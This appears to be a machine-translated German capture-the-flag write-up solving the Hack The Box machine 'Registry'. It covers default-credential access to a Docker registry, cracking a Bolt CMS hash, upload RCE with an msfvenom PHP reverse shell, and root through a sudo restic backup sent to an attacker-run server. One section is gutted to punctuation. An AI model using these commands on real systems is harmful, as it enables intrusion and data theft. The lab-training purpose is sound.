Hack The Box. Durchgangsregister. Docker, RCE in CMS Bolt und Restic

Bild

Ich veröffentliche weiterhin Lösungen, die zur weiteren Verarbeitung von der HackTheBox- Site gesendet wurden . Ich hoffe, dass dies zumindest jemandem hilft, sich im Bereich der Informationssicherheit zu entwickeln. In diesem Artikel werden wir uns mit der Docker-Registrierung befassen, RCE in CMS Bolt ausführen und die Berechtigungen mithilfe des Restic-Sicherungsprogramms erhöhen.

Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in einem privaten Netzwerk mit Personen landen, die sich mit Informationssicherheit auskennen :)

Organisationsinformationen
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Aufklärung


Dieser Computer hat eine IP-Adresse 10.10.10.159, die ich zu / etc / hosts hinzufüge.

10.10.10.159    registry.htb

Zuerst scannen wir offene Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 1000 Paketen pro Sekunde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000

Bild

Für detailliertere Informationen zu den Diensten, die an Ports ausgeführt werden, führen wir nun einen Scan mit der Option -A durch.

nmap -A registry.htb -p22,80,443

Bild

Auf dem Host sind 3 Ports geöffnet, während das Zertifikat (Port 443) für docker.registry.htb bestimmt ist. Fügen Sie es auch zu / etc / hosts hinzu.

10.10.10.159    docker.registry.htb

Wenn Sie sich an registry.htb wenden, werden wir von der Eingabeaufforderung nginx begrüßt, und an docker.registry.htb wird eine leere Seite angezeigt .

Lassen Sie uns mit Gobuster über Verzeichnisse iterieren. In den Parametern geben wir die Anzahl der Streams 128 (-t), URL (-u), Wörterbuch (-w) und Erweiterungen an, die uns interessieren (-x).

gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

Bild

Backup.php gibt uns nichts, in Bolt gibt es eine Site mit CMS Bolt, und in install ist eine Art Datei, laden Sie sie herunter.

wget http://registry.htb/install/ -O ind

Und wir finden heraus, um welche Art von Datei es sich handelt.

Bild

Wir können "gzip komprimierte Daten" sofort lesen.

Bild

Auf diese Weise erhalten wir das Zertifikat und Links zur Docker-Referenzdokumentation.
Fügen Sie im Fall einer anderen Domäne die Option -k hinzu, um die Zertifikatsüberprüfung zu überspringen.

gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

Bild

Wechseln wir nun zum v2-Verzeichnis, und wir werden von der Authentifizierung empfangen.

Bild

Und die einfachste Kombination admin: admin gibt uns Zugriff. Auf dem Host wird Docker Regisrty ausgeführt. Schauen Sie sich daher, wie aus der folgenden Erläuterung hervorgeht, die Repositorys unter der folgenden Adresse an: docker.registry.htb / v2 / _catalog .

Bild

Und wir finden ein Repository.

Bild

Lassen Sie uns Docker installieren und uns der Dokumentation zur Zertifikatsinstallation zuwenden.

Bild

Wechseln Sie in das Verzeichnis / etc / docker und fügen Sie das Zertifikat aus dem Archiv hinzu.

sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb\:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt

Bild

Melden Sie sich jetzt bei Docker an.

Bild

Laden Sie nun das Bild.

sudo docker pull docker.registry.htb:443/bolt-image:latest

Bild

Und lass es laufen.

sudo docker run -it docker.registry.htb:443/bolt-image:latest

Und das erste, was wir uns ansehen, ist SSH. Glücklicherweise gibt es einen Schlüssel sowie eine Konfiguration, aus der hervorgeht, dass unser Benutzer ein Bolzen ist.

Bild

Aber die Sache ist, dass der Schlüssel verschlüsselt ist. Dies bedeutet, dass sie bei einer Verbindung nach einem Passwort fragen. Das Ergebnis ist eine Suche in den Dateien nach der Zeichenfolge "pass".

grep -i -r "pass" ./etc/

Bild

Dieses Skript fragt nach einem Kennwort zum Entschlüsseln des Schlüssels. Und die Antwort ist darin gegeben.

Bild

Verbinde dich über ssh mit unserem Schlüssel.

Bild

Auf dem Host befand sich eine backup.php-Datei. Schauen wir uns an, was darin enthalten ist.

Bild

So wird sudo verwendet und anscheinend ohne Passwort. Für Bolzen ist jedoch ein Passwort erforderlich.

Bild

Dies bedeutet, dass wir den Dienstnutzer bekommen müssen. Da CMS Bolt verwendet wird, können wir auf die SQLite-Datenbank zugreifen. Lade es herunter.

scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./

Beginnen wir mit der Arbeit mit der Datenbank.

sqlite3 bolt.db

Schauen wir uns die Tabellen an.

Bild

Und holen Sie sich die Einträge aus der Tabelle bolzen_benutzer.

Bild

Wir haben also einen Admin-Hash. Iterieren Sie mit der JTR darüber.

Bild

Melden Sie sich jetzt als Administrator bei Bolt an. Und wir beobachten Version 3.6.4.

Bild

Es gibt Exploits für diese Version.

Bild

Die Sicherheitsanfälligkeit besteht darin, dass wir der Konfiguration die Dateierweiterung hinzufügen können, die wir herunterladen müssen, und dann die Datei hochladen können. Lassen Sie uns eine PHP-Datei mit einem Ladevorgang erstellen (ich werde im Voraus sagen, dass es einfach nicht funktioniert hat, eine Verbindung rückwärts herzustellen, daher wurde der 4321-Port weitergeleitet :) ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321.

msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php

Und lassen Sie den Hörer laufen.

Bild

Lassen Sie uns durch Konfiguration -> Hauptkonfiguration gehen und die PHP-Erweiterung hinzufügen, um die Datei herunterladen zu können.

Bild

Gehen Sie als Nächstes zu Dateiverwaltung -> Dateien hochladen und fügen Sie die Datei hinzu. Nach dem Zugriff sehen wir die Verbindung.

Bild

Starten Sie die Bash-Shell. Wir stellen außerdem fest, dass wir im Auftrag des Servicebenutzers arbeiten.

Bild

Lassen Sie uns sudo überprüfen und feststellen, dass der Befehl von backup.php unter sudo ohne Passwort ausgeführt werden kann.

Bild

Restic ist ein in Golang geschriebenes Backup-Programm. Da wir unter sudo ein Backup erstellen können, können wir das gesamte Stammverzeichnis kopieren. Lassen Sie uns zunächst den 8000-Port durchgehen.

ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000

Installieren Sie den Rest-Server und führen Sie ihn aus (auf 8000 Post ohne Authentifizierung).

Bild

Lassen Sie uns die Sicherung verbinden und initialisieren (restr1).

Bild

Sichern Sie nun das Stammverzeichnis.

Bild

Die Sicherung wurde auf dem lokalen Computer gespeichert. Sehen wir uns alle gespeicherten Dateien an. Suchen Sie den SSH-Schlüssel.

restic -r /tmp/restic/restr1/ ls latest

Bild

Stellen Sie es wieder her.

Bild

Verbinden

Bild

Wir haben vollen Zugriff auf das System.

Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, zusammengeführte Kurse sowie Software. Stellen wir eine Community zusammen, in der es Menschen gibt, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.

All Articles